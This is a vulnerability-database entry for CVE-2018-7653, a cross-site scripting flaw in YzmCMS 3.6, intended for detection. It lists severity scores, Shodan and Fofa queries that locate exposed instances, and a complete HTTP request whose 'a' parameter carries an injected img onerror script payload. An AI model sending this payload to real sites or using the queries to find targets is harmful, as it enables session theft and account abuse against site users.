🔙 목록으로 돌아가기

CVE-2018-7653: YzmCMS v3.6 - Cross-Site Scripting

TitleYzmCMS v3.6 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.
RemediationTo mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score6.1
EPSS Score0.01096
CVE IDCVE-2018-7653
CWE IDCWE-79
Shodan Querytitle:"YzmCMS"http.title:"yzmcms"
Fofa Querytitle="YzmCMS"title="yzmcms"
Tags cve cve2018 packetstorm yzmcms cms xss vuln

🔍 Vulnerability Description

In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.

🌐 HTTP Request

GET /index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7653.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7653.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A